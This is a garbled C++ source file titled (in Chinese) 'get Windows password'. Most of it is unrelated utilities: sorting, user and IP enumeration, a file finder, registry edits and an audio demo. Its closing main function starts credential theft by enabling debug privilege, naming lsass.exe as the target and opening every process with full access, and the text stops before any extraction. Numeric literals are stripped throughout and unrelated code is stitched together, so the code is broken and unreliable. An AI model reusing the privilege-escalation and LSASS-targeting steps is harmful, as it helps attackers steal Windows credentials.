Windows 获取windows密码
- #include <iostream>
- #define Main main
- #define COLOR_GREEN system("color 2");
- #include <vector>
- #include <list>
- #include <string>
- #include <WinSock2.h>
- #include <WS2tcpip.h>
- #include <memory>
- #include <VersionHelpers.h>
- #include <LM.h>
- #include <winnetwk.h>
- #include "BitMap.h"
- #include <wlanapi.h>
- #include "ATBAudioEngine/ATBAudioEngine.h"
- #include "Package.h"
- #pragma comment(lib,"Ws2_32.lib")
- #pragma comment(lib,"Mpr.lib")
- #pragma comment(lib,"netapi32.lib")
- #pragma comment(lib,"Wlanapi.lib")
- #include <Windows.h>
- class disorderly
- {
- int m_buf[] = { };
- public:
- void initBuf()
- {
- srand(GetTickCount());
- int len = sizeof(m_buf) / sizeof(int);
- for (int i = ; i < len; i++)
- {
- m_buf[i] = rand() % ;
- printf("%d, ", m_buf[i]);
- }
- }
- //范围
- void initBuf(int range)
- {
- srand(GetTickCount());
- int len = sizeof(m_buf) / sizeof(int);
- for (int i = ; i < len; i++)
- {
- m_buf[i] = rand() % range;
- printf("%d, ", m_buf[i]);
- }
- }
- int *getBuf() { return m_buf; }
- int getLen() { return sizeof(m_buf) / sizeof(int); }
- void print()
- {
- printf("\n");
- int len = sizeof(m_buf) / sizeof(int);
- for (int i = ; i < len; i++)
- {
- printf("%d, ", m_buf[i]);
- }
- printf("\n");
- }
- void C(int *Arr, int Len)
- {
- int TempData = ;
- int i = ;
- int j = ;
- for (i = ; i < Len; i++)
- {
- j = i;
- TempData = *(Arr + i);
- //如果当前的数据小于当前数据的上一个
- //那么进行赋值, j--, 然后再判断j--数据是否小于上一个数据
- while (j > && TempData < Arr[j - ])
- {
- Arr[j] = Arr[j - ];
- j--;
- }
- Arr[j] = TempData;
- }
- //for (int i = 0; i < 5; i++)
- //{
- // std::thread th(C, i);
- // th.join();
- // //th.detch();
- //}
- }
- void M(int *Arr, int Len)
- {
- for (int i = ; i < Len - ; i++)
- {
- for (int j = i + ; j < Len; j++)
- {
- if (Arr[i] > Arr[j])
- {
- int temp = Arr[i];
- Arr[i] = Arr[j];
- Arr[j] = temp;
- }
- }
- }
- }
- void X(int *Arr, int Len)
- {
- int k = -;
- for (int i = ; i < Len - ; i++)
- {
- k = i;
- for (int j = i + ; j < Len; j++)
- {
- //第一波出来的必定是最小的
- if (Arr[k] > Arr[j])
- {
- k = j;
- }
- }
- int temp = Arr[i];
- Arr[i] = Arr[k];
- Arr[k] = temp;
- }
- }
- void GetAllUserName(std::vector<std::wstring> & allUserName)
- {
- // See more: http://msdn.microsoft.com/en-us/library/windows/desktop/aa370652(v=vs.85).aspx
- LPUSER_INFO_1 pBuf = NULL;
- LPUSER_INFO_1 pTmpBuf;
- DWORD dwLevel = ;
- DWORD dwEntriesRead = ;
- DWORD dwTotalEntries = ;
- DWORD dwResumeHandle = ;
- DWORD dwPrefMaxLen = MAX_PREFERRED_LENGTH;
- NET_API_STATUS nStatus;
- LPTSTR pszServerName = NULL;
- do
- {
- nStatus = NetUserEnum((LPCWSTR)pszServerName,
- dwLevel,
- FILTER_NORMAL_ACCOUNT, // global users
- (LPBYTE*)&pBuf,
- dwPrefMaxLen,
- &dwEntriesRead,
- &dwTotalEntries,
- &dwResumeHandle);
- if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA))
- {
- if ((pTmpBuf = pBuf) != NULL)
- {
- for (DWORD i = ; i < dwEntriesRead; i++)
- {
- if (pTmpBuf == NULL)
- {
- fprintf(stderr, "An access violation has occurred\n");
- break;
- }
- allUserName.push_back(pTmpBuf->usri1_name);
- pTmpBuf++;
- }
- }
- }
- else
- fprintf(stderr, "A system error has occurred: %d\n", nStatus);
- if (pBuf != NULL) {
- NetApiBufferFree(pBuf);
- pBuf = NULL;
- }
- } while (nStatus == ERROR_MORE_DATA); // end do
- // Check again for allocated memory.
- if (pBuf != NULL)
- NetApiBufferFree(pBuf);
- //std::vector<std::wstring> v;
- //GetAllUserName(v);
- //for (int i = 0; i < v.size(); i++)
- //{
- // char buf[256] = { 0 };
- // int j = 0;
- // while (v[i].c_str()[j])
- // {
- // buf[j] = v[i].c_str()[j];
- // j++;
- // }
- // printf(buf);
- //}
- }
- int getSystemPath()
- {
- HANDLE hFile;
- DWORD dwWrite;
- TCHAR path[MAX_PATH];
- GetSystemDirectory(path, MAX_PATH);
- hFile = CreateFile("syspath.txt", GENERIC_WRITE,
- ,
- NULL,
- CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
- if (hFile != INVALID_HANDLE_VALUE)
- {
- if (!(WriteFile(hFile, path, lstrlen(path), &dwWrite, NULL)))
- {
- return GetLastError();
- }
- }
- return CloseHandle(hFile);
- }
- //打印环境变量
- void printEV()
- {
- PVOID P = GetEnvironmentStringsA();
- LPSTR sz;
- for (sz = (LPSTR)P; *sz;)
- {
- printf("%s\n", sz);
- while (*sz++);
- }
- FreeEnvironmentStringsA((LPCH)P);
- P = NULL;
- }
- void vectors()
- {
- std::vector<int> arr;
- srand(GetTickCount());
- for (unsigned int i = ; i < ; i++)
- {
- arr.push_back(rand() % );
- }
- for (unsigned int i = ; i < arr.size(); i++)
- {
- printf("%d, ", arr[i]);
- }
- printf("\n");
- std::cout << "sort last" << std::endl;
- std::cout << "======================" << std::endl;
- unsigned int j = ;
- int data = ;
- for (unsigned int i = ; i < arr.size(); i++)
- {
- j = i;
- data = arr[i];
- while (j > && data < arr[j - ])
- {
- arr[j] = arr[j - ];
- j--;
- }
- arr[j] = data;
- }
- for (unsigned int i = ; i < arr.size(); i++)
- {
- printf("%d, ", arr[i]);
- }
- printf("\n");
- arr.clear();
- }
- void ComputerName_Ip()
- {
- char buf[] = "";
- hostent *ph = NULL;//struct hostent *ph = NULL;
- WSADATA w;
- WSAStartup(0x0101, &w);//这一行必须在使用任何SOCKET函数前写!
- std::string hostName = buf;//此处获得本机名称
- gethostname(buf, sizeof(buf));
- ph = gethostbyname(buf);
- int i = ;
- while (ph->h_addr_list[i] != NULL)
- {
- char *IP = inet_ntoa(*((struct in_addr *)ph->h_addr_list[i]));//此处获得本机IP
- std::cout << IP << std::endl;
- i++;
- }
- ph = gethostbyname("www.baidu.com");
- i = ;
- while (ph->h_addr_list[i] != NULL)
- {
- char *IP = inet_ntoa(*((struct in_addr *)ph->h_addr_list[i]));//此处获得本机IP
- std::cout << IP << std::endl;
- i++;
- }
- WSACleanup();
- }
- void gethostsIP(char *hostsbuf)
- {
- WORD wVersion;
- WSADATA WSAData;
- wVersion = MAKEWORD(, );
- WSAStartup(wVersion, &WSAData);
- gethostname(hostsbuf, );
- addrinfo hints;
- struct addrinfo *res, *cur;
- int ret;
- struct sockaddr_in *addr;
- char m_ipaddr[];
- memset(&hints, , sizeof(struct addrinfo));
- hints.ai_family = AF_INET; /* Allow IPv4 */
- hints.ai_flags = AI_PASSIVE;/* For wildcard IP address */
- hints.ai_protocol = ; /* Any protocol */
- hints.ai_socktype = SOCK_STREAM;
- ret = getaddrinfo(hostsbuf, NULL, &hints, &res);
- if (ret == -)
- {
- perror("getaddrinfo");
- exit();
- }
- for (cur = res; cur != NULL; cur = cur->ai_next)
- {
- addr = (struct sockaddr_in *)cur->ai_addr;
- sprintf_s(m_ipaddr, "%d.%d.%d.%d",
- (*addr).sin_addr.S_un.S_un_b.s_b1,
- (*addr).sin_addr.S_un.S_un_b.s_b2,
- (*addr).sin_addr.S_un.S_un_b.s_b3,
- (*addr).sin_addr.S_un.S_un_b.s_b4);
- printf("%s\n", m_ipaddr);
- }
- freeaddrinfo(res);
- WSACleanup();
- }
- void gethostsIP(const char *hostsName)
- {
- WORD wVersion;
- WSADATA WSAData;
- wVersion = MAKEWORD(, );
- WSAStartup(wVersion, &WSAData);
- addrinfo hints;
- struct addrinfo *res, *cur;
- int ret;
- struct sockaddr_in *addr;
- char m_ipaddr[];
- memset(&hints, , sizeof(struct addrinfo));
- hints.ai_family = AF_INET; /* Allow IPv4 */
- hints.ai_flags = AI_PASSIVE;/* For wildcard IP address */
- hints.ai_protocol = ; /* Any protocol */
- hints.ai_socktype = SOCK_STREAM;
- ret = getaddrinfo(hostsName, NULL, &hints, &res);
- if (ret == -)
- {
- perror("getaddrinfo");
- exit();
- }
- for (cur = res; cur != NULL; cur = cur->ai_next)
- {
- addr = (struct sockaddr_in *)cur->ai_addr;
- sprintf_s(m_ipaddr, "%d.%d.%d.%d",
- (*addr).sin_addr.S_un.S_un_b.s_b1,
- (*addr).sin_addr.S_un.S_un_b.s_b2,
- (*addr).sin_addr.S_un.S_un_b.s_b3,
- (*addr).sin_addr.S_un.S_un_b.s_b4);
- printf("%s\n", m_ipaddr);
- }
- freeaddrinfo(res);
- res = NULL;
- WSACleanup();
- }
- //无线连接状态
- int intlistenStatus()
- {
- HANDLE hClient = NULL;
- DWORD dwMaxClient = ;
- DWORD dwCurVersion = ;
- DWORD dwResult = ;
- int iRet = ;
- WCHAR GuidString[] = { };
- //ListenthestatusoftheAPyouconnected.
- while ()
- {
- Sleep();
- PWLAN_INTERFACE_INFO_LIST pIfList = NULL;
- PWLAN_INTERFACE_INFO pIfInfo = NULL;
- dwResult = WlanOpenHandle(dwMaxClient, NULL, &dwCurVersion, &hClient);
- if (dwResult != ERROR_SUCCESS)
- {
- wprintf(L"WlanOpenHandlefailedwitherror:%u\n", dwResult);
- return ;
- }
- //获取无线网卡列表
- dwResult = WlanEnumInterfaces(hClient, NULL, &pIfList);
- if (dwResult != ERROR_SUCCESS)
- {
- wprintf(L"WlanEnumInterfacesfailedwitherror:%u\n", dwResult);
- return ;
- }
- else
- {
- wprintf(L"NumEntries:%lu\n", pIfList->dwNumberOfItems);
- wprintf(L"CurrentIndex:%lu\n\n", pIfList->dwIndex);
- int i;
- for (i = ; i < (int)pIfList->dwNumberOfItems; i++)
- {
- pIfInfo = (WLAN_INTERFACE_INFO*)&pIfList->InterfaceInfo[i];
- wprintf(L"InterfaceIndex[%u]:\t%lu\n", i, i);
- iRet = StringFromGUID2(pIfInfo->InterfaceGuid, (LPOLESTR)&GuidString,
- sizeof(GuidString) / sizeof(*GuidString));
- if (iRet == )
- wprintf(L"StringFromGUID2failed\n");
- else
- {
- wprintf(L"InterfaceGUID[%d]:%S\n", i, GuidString);
- }
- wprintf(L"InterfaceDescription[%d]:%S", i,
- pIfInfo->strInterfaceDescription);
- wprintf(L"\n");
- wprintf(L"InterfaceState[%d]:\t", i);
- switch (pIfInfo->isState)
- {
- casewlan_interface_state_not_ready:
- wprintf(L"Notready\n");
- break;
- casewlan_interface_state_connected:
- wprintf(L"Connected\n");
- break;
- casewlan_interface_state_ad_hoc_network_formed:
- wprintf(L"Firstnodeinaadhocnetwork\n");
- break;
- casewlan_interface_state_disconnecting:
- wprintf(L"Disconnecting\n");
- break;
- casewlan_interface_state_disconnected:
- wprintf(L"Notconnected\n");
- break;
- casewlan_interface_state_associating:
- wprintf(L"Attemptingtoassociatewithanetwork\n");
- break;
- casewlan_interface_state_discovering:
- wprintf(L"Autoconfigurationisdiscoveringsettingsforthenetwork\n");
- break;
- casewlan_interface_state_authenticating:
- wprintf(L"Inprocessofauthenticating\n");
- break;
- default:
- wprintf(L"Unknownstate%ld\n", pIfInfo->isState);
- break;
- }
- }
- }
- }
- }
- };
- #define FF FindFiles::getInstance()
- class FindFiles
- {
- string Path;
- string Type;
- HANDLE HFinder = NULL;
- WIN32_FIND_DATAA FindFileData;
- string CurPath;
- int num = -;
- public:
- static FindFiles *getInstance()
- {
- static FindFiles obj;
- return &obj;
- }
- //D:/Music_s
- void setFindPath(const char *Path)
- {
- if (Path)
- {
- this->Path = Path;
- CurPath = this->Path;
- if (this->Path == string("exit")) { exit(); }
- }
- else
- {
- printf("input find path .......... \n");
- }
- }
- //D:/Music_s
- void setFindPath(string &Path)
- {
- if (!Path.empty())
- {
- this->Path = Path;
- CurPath = this->Path;
- if (this->Path == string("exit")) { exit(); }
- }
- else
- {
- printf("input find path .......... \n");
- }
- }
- // mp3 mp4 ...
- void setFindType(const char *Type)
- {
- if (Type)
- {
- this->Type = Type;
- if (this->Type == string("exit")) { exit(); }
- }
- else
- {
- printf("input find Type .......... \n");
- }
- }
- // mp3 mp4 ...
- void setFindType(string &Type)
- {
- if (!Type.empty())
- {
- this->Type = Type;
- if (this->Type == string("exit")) { exit(); }
- FF->strcatFindFile();
- }
- else
- {
- printf("input find Type .......... \n");
- }
- }
- string getPath() const
- {
- return this->Path;
- }
- string getType() const
- {
- return this->Type;
- }
- ///=============================================
- void run()
- {
- system("color 2");
- char path[] = { };
- char type[] = { };
- printf("input path suppose <D:/Music>:");
- std::cin >> path;
- printf("input type or input 0 is any type suppose <bmp,mp3,mp4,0,cpp,h,c,zip,avi> :");
- std::cin >> type;
- FF->setFindPath(path);
- if (string(type) == "")
- {
- FF->setFindType("*");
- }
- else
- {
- FF->setFindType(type);
- }
- FF->strcatFindFile();
- FF->findFirstFile(FF->Path.c_str());
- while (true)
- {
- if (!find())
- {
- break;
- }
- }
- printf("\n");
- printf("number =========== :::::::: %d file \n", num);
- }
- void run_s()
- {
- while (true)
- {
- system("cls");
- run();
- system("pause");
- }
- }
- ///=============================================
- bool find()
- {
- string tmp = FindFileData.cFileName;
- if (tmp != "." && tmp != "..")
- {
- printf("%s , %d\n", FindFileData.cFileName, FindFileData.dwFileAttributes);
- }
- num++;
- int len = strlen(FindFileData.cFileName);
- char temp[] = { };
- temp[] = FindFileData.cFileName[len - ];
- if (FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY)
- {
- if (string(temp) != "" && string(temp) != "." && string(temp) != " " && string(temp) != "..")
- {
- string lastCurPath = this->CurPath;
- string lastCur = this->CurPath;
- lastCurPath += "/";
- lastCur += "/";
- lastCurPath += FindFileData.cFileName;
- lastCur += FindFileData.cFileName;
- lastCurPath += "/*.";
- if (this->Type == string(""))
- {
- lastCurPath += "*";
- }
- else
- {
- lastCurPath += this->Type;
- }
- FF->ergodicFile(lastCurPath, lastCur);
- }
- }
- if (!FF->findNextFile())
- {
- return false;
- }
- return true;
- }
- bool ergodicFile(string path, string lastCur)
- {
- WIN32_FIND_DATAA temp;
- HANDLE HFinder = FindFirstFileA(path.c_str(), &temp);
- if (HFinder == INVALID_HANDLE_VALUE)
- {
- std::cout << "查找失败 !" << std::endl;
- return true;
- }
- while (true)
- {
- string tmp = temp.cFileName;
- if (tmp != "." && tmp != "..")
- {
- printf("%s , %d\n", temp.cFileName, temp.dwFileAttributes);
- }
- num++;
- int len = strlen(temp.cFileName);
- char strTemp[] = { };
- strTemp[] = temp.cFileName[len - ];
- if (temp.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY)
- {
- if (string(strTemp) != "" && string(strTemp) != "." && string(strTemp) != " " && string(strTemp) != "..")
- {
- string CurPaths = lastCur;
- string lastCurPath = CurPaths;
- lastCurPath += "/";
- CurPaths += "/";
- lastCurPath += temp.cFileName;
- CurPaths += temp.cFileName;
- lastCurPath += "/*.";
- if (this->Type == string(""))
- {
- lastCurPath += "*";
- }
- else
- {
- lastCurPath += this->Type;
- }
- ergodicFile(lastCurPath, CurPaths);
- }
- }
- if (!(FindNextFileA(HFinder, &temp)))
- {
- return false;
- }
- }
- return true;
- }
- void findFirstFile(string path)
- {
- HFinder = FindFirstFileA(path.c_str(), &FindFileData);
- if (HFinder == INVALID_HANDLE_VALUE)
- {
- char buf[] = { };
- for (int i = path.length() - ; i >= ; i--)
- {
- if (path.c_str()[i] == '.')
- {
- int len = path.length() - i;
- for (int j = ; j <= len + ; j++)
- {
- buf[j] = path.c_str()[j];
- }
- }
- }
- string temp = buf;
- temp += "*";
- HFinder = FindFirstFileA(temp.c_str(), &FindFileData);
- if (HFinder == INVALID_HANDLE_VALUE)
- {
- std::cout << "查找失败 !" << std::endl;
- }
- }
- }
- void closeFind()
- {
- if (HFinder)
- {
- FindClose(HFinder);
- HFinder = NULL;
- }
- }
- bool findNextFile()
- {
- if (!(FindNextFileA(HFinder, &FindFileData)))
- {
- return false;
- }
- return true;
- }
- private:
- FindFiles()
- {
- }
- ~FindFiles()
- {
- FF->closeFind();
- }
- //连接查找
- void strcatFindFile()
- {
- if (!Path.empty() && !Type.empty())
- {
- Path += "/*.";
- Path += Type.c_str();
- printf("find file path : %s\n", Path.c_str());
- }
- }
- };
- class Registry
- {
- public:
- void read_dword()//读取操作表,其类型为DWORD
- {
- HKEY hKEY;//定义有关的键,在查询结束时关闭
- //打开与路径data_Set相关的hKEY
- string data_set = "Software\\Chicony\\Lenovo1";
- //访问注册表,hKEY则保存此函数所打开的键的句柄
- if (ERROR_SUCCESS == ::RegOpenKeyEx(HKEY_CURRENT_USER, data_set.c_str(), , KEY_READ, &hKEY))
- {
- DWORD dwValue;//长整型数据,如果是字符串数据用char数组
- DWORD dwSize = sizeof(DWORD);
- DWORD dwType = REG_DWORD;
- if (::RegQueryValueEx(hKEY, "", , &dwType, (LPBYTE)&dwValue, &dwSize) != ERROR_SUCCESS)
- {
- cout << "错误:无法查询有关的注册表信息" << endl;
- }
- cout << dwValue << endl;
- }
- ::RegCloseKey(hKEY);
- }
- void read_reg_sz()//读取操作表,其类型为REG_SZ
- {
- HKEY hkey;
- string data_set = "Software\\Chicony\\Lenovo1";
- //LPCWSTR lpwchar = &data_set;
- if (ERROR_SUCCESS == ::RegOpenKeyEx(HKEY_CURRENT_USER, data_set.c_str(), , KEY_READ, &hkey))
- {
- char dwValue[];
- DWORD dwSzType = REG_SZ;
- DWORD dwSize = sizeof(dwValue);
- if (::RegQueryValueEx(hkey, "wangchong", , &dwSzType, (LPBYTE)&dwValue, &dwSize) != ERROR_SUCCESS)
- {
- cout << "无法查询有关的注册表信息" << endl;
- }
- cout << dwValue << endl;
- }
- ::RegCloseKey(hkey);
- }
- void write_dword()//在\Software\\Chicony\\Lenovo1文件夹下写入一个test111的子键,设置其名称为Name,其值为6
- {
- HKEY hkey;//定义有关的hkey,在查询结束时要关闭
- HKEY hTempKey;
- DWORD dwValue = ;
- DWORD dwSize = sizeof(DWORD);
- DWORD dwType = REG_DWORD;
- const char *data_set = "Software\\Chicony\\Lenovo1";
- if (ERROR_SUCCESS == RegOpenKeyEx(HKEY_CURRENT_USER, data_set, , KEY_SET_VALUE, &hkey))
- {
- if (ERROR_SUCCESS == ::RegCreateKey(hkey, "test111", &hTempKey))
- {
- if (ERROR_SUCCESS != ::RegSetValueEx(hTempKey, "Name", , REG_DWORD, (CONST BYTE*)&dwValue, sizeof(DWORD)))
- {
- cout << "写入注册表失败" << endl;
- }
- }
- }
- ::RegCloseKey(hkey);
- }
- void write_reg_sz()
- {
- HKEY hkey;
- HKEY hTempKey;
- char m_name_set[] = "China";
- DWORD len = strlen(m_name_set) + ;
- const char *data_set = "Software\\Chicony\\Lenovo1";
- if (ERROR_SUCCESS == ::RegOpenKeyEx(HKEY_CURRENT_USER, data_set, , KEY_SET_VALUE, &hkey))
- {
- if (ERROR_SUCCESS == ::RegCreateKey(hkey, "test1112", &hTempKey))
- {
- if (ERROR_SUCCESS != ::RegSetValueEx(hTempKey, "Name", , REG_SZ, (const BYTE*)m_name_set, len))
- {
- cout << "写入错误" << endl;
- }
- }
- }
- ::RegCloseKey(hkey);
- }
- void write_binary()
- {
- HKEY hkey;
- HKEY hTempKey;
- BYTE m_name[];
- memset(m_name, , sizeof(m_name));
- m_name[] = 0xff;
- m_name[] = 0xac;
- m_name[] = 0x05;
- m_name[] = 0x4e;
- const char *data_set = "Software\\Chicony\\Lenovo1";
- if (ERROR_SUCCESS == ::RegOpenKeyEx(HKEY_CURRENT_USER, data_set, , KEY_SET_VALUE, &hkey))
- {
- if (ERROR_SUCCESS == ::RegCreateKey(hkey, "test111", &hTempKey))
- {
- if (ERROR_SUCCESS != ::RegSetValueEx(hTempKey, "Name", , REG_BINARY, (unsigned char *)m_name, ))
- {
- cout << "写入错误" << endl;
- }
- }
- }
- ::RegCloseKey(hkey);
- }
- void delete_value()
- {
- HKEY hkey;
- const char *data_set = "Software\\Chicony\\Lenovo1\\test1112";
- if (ERROR_SUCCESS == ::RegOpenKeyEx(HKEY_CURRENT_USER, data_set, , KEY_SET_VALUE, &hkey))
- {
- if (ERROR_SUCCESS != ::RegDeleteValue(hkey, "Name"))
- {
- cout << "删除错误" << endl;
- }
- }
- ::RegCloseKey(hkey);
- }
- void delete_key()
- {
- HKEY hkey;
- const char *data_set = "Software\\Chicony\\Lenovo1";
- if (ERROR_SUCCESS == ::RegOpenKeyEx(HKEY_CURRENT_USER, data_set, , KEY_SET_VALUE, &hkey))
- {
- if (ERROR_SUCCESS != ::RegDeleteKey(hkey, "test1112"))
- {
- cout << "删除错误" << endl;
- }
- }
- ::RegCloseKey(hkey);
- }
- };
- #define DB DoubleBuffer::GetInstance()
- // 注意 双缓冲中不能使用system("cls");
- class DoubleBuffer
- {
- HANDLE m_hOutBuf = NULL;
- HANDLE m_hOutput = NULL;
- //双缓冲处理显示
- DWORD bytes = ;
- COORD coord = { , };
- public:
- static DoubleBuffer *GetInstance()
- {
- static DoubleBuffer db;
- return &db;
- }
- HANDLE GetOutBuf() { return m_hOutBuf; }
- HANDLE GetOutPut() { return m_hOutput; }
- void Begin(char **data, int W_Len)
- {
- for (int i = ; i < W_Len; i++)
- {
- coord.Y = i;
- BOOL Over = WriteConsoleOutputCharacterA(m_hOutBuf, data[i], W_Len, coord, &bytes);
- }
- //设置新的缓冲区为活动显示缓冲
- BOOL Over = SetConsoleActiveScreenBuffer(m_hOutBuf);
- }
- void Begin(char *data, int Len)
- {
- // coord 为写入的位置 是直接写入
- BOOL Over = WriteConsoleOutputCharacterA(m_hOutBuf, data, Len, coord, &bytes);
- //设置新的缓冲区为活动显示缓冲
- Over = SetConsoleActiveScreenBuffer(m_hOutBuf);
- }
- // pos 0,0 表示在0,0的位置输出
- void Begin(char *data, int Len, COORD pos)
- {
- // coord 为写入的位置 是直接写入
- BOOL Over = WriteConsoleOutputCharacterA(m_hOutBuf, data, Len, pos, &bytes);
- //设置新的缓冲区为活动显示缓冲
- Over = SetConsoleActiveScreenBuffer(m_hOutBuf);
- }
- void End(char **data, int W_Len)
- {
- for (int i = ; i < W_Len; i++)
- {
- coord.Y = i;
- BOOL Over = WriteConsoleOutputCharacterA(m_hOutput, data[i], W_Len, coord, &bytes);
- }
- //设置新的缓冲区为活动显示缓冲
- BOOL Over = SetConsoleActiveScreenBuffer(m_hOutput);
- }
- void End(char *data, int Len)
- {
- BOOL Over = WriteConsoleOutputCharacterA(m_hOutput, data, Len, coord, &bytes);
- //设置新的缓冲区为活动显示缓冲
- Over = SetConsoleActiveScreenBuffer(m_hOutput);
- }
- void End(char *data, int Len, COORD pos)
- {
- BOOL Over = WriteConsoleOutputCharacterA(m_hOutput, data, Len, pos, &bytes);
- //设置新的缓冲区为活动显示缓冲
- Over = SetConsoleActiveScreenBuffer(m_hOutput);
- }
- /*
- system("color 2");
- char **buf = NULL;
- buf = new char*[40];
- for (int i = 0; i < 40; i++)
- {
- buf[i] = new char[40];
- for (int j = 0; j < 40; j++)
- {
- buf[i][j] = 0;
- }
- }
- srand(GetTickCount());
- while (true)
- {
- for (int i = 0; i < 40; i++)
- {
- for (int j = 0; j < 40 - 1; j++)
- {
- buf[i][j] = rand() % 48 + 32;
- }
- }
- DB->Begin(buf, 40);
- for (int i = 0; i < 40; i++)
- {
- for (int j = 0; j < 40 - 1; j++)
- {
- buf[i][j] = rand() % 48 + 32;
- }
- }
- DB->End(buf, 40);
- for (int i = 0; i < 40; i++)
- {
- for (int j = 0; j < 40 - 1; j++)
- {
- buf[i][j] = 0;
- }
- }
- }
- */
- private:
- DoubleBuffer()
- {
- //创建新的控制台缓冲区
- m_hOutBuf = CreateConsoleScreenBuffer(
- GENERIC_WRITE,//定义进程可以往缓冲区写数据
- FILE_SHARE_WRITE,//定义缓冲区可共享写权限
- NULL,
- CONSOLE_TEXTMODE_BUFFER,
- NULL
- );
- m_hOutput = CreateConsoleScreenBuffer(
- GENERIC_WRITE,//定义进程可以往缓冲区写数据
- FILE_SHARE_WRITE,//定义缓冲区可共享写权限
- NULL,
- CONSOLE_TEXTMODE_BUFFER,
- NULL
- );
- //隐藏两个缓冲区的光标
- CONSOLE_CURSOR_INFO cci;
- cci.bVisible = ;
- cci.dwSize = ;
- SetConsoleCursorInfo(m_hOutput, &cci);
- SetConsoleCursorInfo(m_hOutBuf, &cci);
- }
- ~DoubleBuffer()
- {
- m_hOutBuf = NULL;
- m_hOutput = NULL;
- }
- };
- void MusicDemo()
- {
- //https://github.com/zhmmmm/ANYTOOL-2.0.0.0.2Version
- system("color 2");
- //D:\Audio\YZFHKM-S.mp3
- string AudioName;
- std::cout << "Please Input Audio File Names :";
- std::cin >> AudioName;
- std::cout << "Player Music Name : " << AudioName << std::endl;
- ATA->LoadMusicsAndPlay(AudioName);
- const int H = ;
- const int W = ;
- char MusicName[] = { };
- strcat_s(MusicName, AudioName.c_str());
- char Buf[];
- char **Map = NULL;
- Map = new char*[H];
- for (int i = ; i < H; i++)
- {
- Map[i] = new char[W];
- for (int j = ; j < W; j++)
- {
- Map[i][j] = ;
- }
- }
- while (true)
- {
- ATA->GetAudioStreamData(ATA->GetCurPlayMusic(), Buf);
- for (int i = ; i < H; i++)
- {
- if (Buf[i] <= )
- {
- for (int j = ; j < W; j++)
- {
- Map[i][j] = ' ';
- }
- }
- else if (Buf[i] > W - )
- {
- int temp = Buf[i] % W - ;
- for (int j = ; j < temp; j++)
- {
- Map[i][j] = '@';
- }
- }
- else
- {
- for (int j = ; j < Buf[i]; j++)
- {
- Map[i][j] = '@';
- }
- }
- Map[H - ][W - ] = ;
- }
- DB->Begin(Map, W);
- ATA->GetAudioStreamData(ATA->GetCurPlayMusic(), Buf);
- for (int i = ; i < H; i++)
- {
- if (Buf[i] <= )
- {
- for (int j = ; j < W; j++)
- {
- Map[i][j] = ' ';
- }
- }
- else if (Buf[i] > W - )
- {
- int temp = Buf[i] % W - ;
- for (int j = ; j < temp; j++)
- {
- Map[i][j] = '@';
- }
- }
- else
- {
- for (int j = ; j < Buf[i]; j++)
- {
- Map[i][j] = '@';
- }
- }
- Map[H - ][W - ] = ;
- }
- DB->End(Map, W);
- for (int i = ; i < H; i++)
- {
- for (int j = ; j < W; j++)
- {
- Map[i][j] = ;
- }
- }
- }
- delete[] Map;
- Map = NULL;
- }
- class CodeChange
- {
- public:
- void wcharTochar(char *Buf, const wchar_t* wchar)
- {
- int len = WideCharToMultiByte(CP_ACP, , wchar, wcslen(wchar), NULL, , NULL, NULL);
- WideCharToMultiByte(CP_ACP, , wchar, wcslen(wchar), Buf, len, NULL, NULL);
- }
- void charToWchar(wchar_t *buf, const char* cchar)
- {
- int len = MultiByteToWideChar(CP_ACP, , cchar, strlen(cchar), NULL, );
- MultiByteToWideChar(CP_ACP, , cchar, strlen(cchar), buf, len);
- }
- void UTF_8ToWchar(char *buf, const char* UTF_8)
- {
- int wcsLen = ::MultiByteToWideChar(CP_UTF8, NULL, UTF_8, strlen(UTF_8), NULL, );
- wchar_t wszString[] = { };
- ::MultiByteToWideChar(CP_UTF8, NULL, UTF_8, strlen(UTF_8), wszString, wcsLen);
- wszString[wcsLen] = '\0';
- wcharTochar(buf, wszString);
- }
- void UnicodeToUTF_8(char *buf, const wchar_t* unicode)
- {
- int len = WideCharToMultiByte(CP_UTF8, , unicode, -, NULL, , NULL, NULL);
- WideCharToMultiByte(CP_UTF8, , unicode, -, buf, len, NULL, NULL);
- }
- };
- //char Buf[61] = " ";
- typedef struct _smPROCESSINFO
- {
- DWORD dwPID;
- DWORD dwParentPID;
- DWORD dwSessionID;
- DWORD dwPEBBaseAddress;
- DWORD dwAffinityMask;
- LONG dwBasePriority;
- LONG dwExitStatus;
- BYTE cBeingDebugged;
- TCHAR szImgPath[MAX_PATH];
- TCHAR szCmdLine[MAX_PATH];
- } smPROCESSINFO;
- typedef NTSTATUS (WINAPI *pNtQueryInformationProcess)(HANDLE ProcessHandle, int ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength);
- //NTSTATUS NtQueryInformationProcess(HANDLE ProcessHandle, int ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength)
- //{
- //
- //}
- int Main()
- {
- //提权
- HANDLE hToken = nullptr;
- //打开进程访问令牌
- BOOL ret = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
- if (!ret) { GetLastError(); }
- //查看系统的权限的特权
- LUID luid;
- ret = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);
- if (!ret) { GetLastError(); }
- //调整访问令牌特权值
- TOKEN_PRIVILEGES tkp;
- tkp.PrivilegeCount = ;
- tkp.Privileges[].Attributes = SE_PRIVILEGE_ENABLED;
- tkp.Privileges[].Luid = luid;
- TOKEN_PRIVILEGES last;
- DWORD l = sizeof(last);
- //last 为原来的 可以为NULL;
- ret = AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), &last, &l);
- if (!ret) { GetLastError(); }
- //通过进程名获取进程句柄
- HANDLE hProcess = nullptr;
- //lsass.exe
- //某个进程
- const char *szProcessName = "";
- //windows 未公开的函数
- //NtQueryInformationProcess()// in ntdll.dll
- pNtQueryInformationProcess NtQueryInformationProcess = (pNtQueryInformationProcess)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryInformationProcess");
- //进程遍历
- for (DWORD ID = ; ID < ; ID++)
- {
- HANDLE handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ID);
- if (handle != NULL && handle != nullptr)
- {
- wchar_t buf[MAX_PATH] = { };
- DWORD retlen = ;
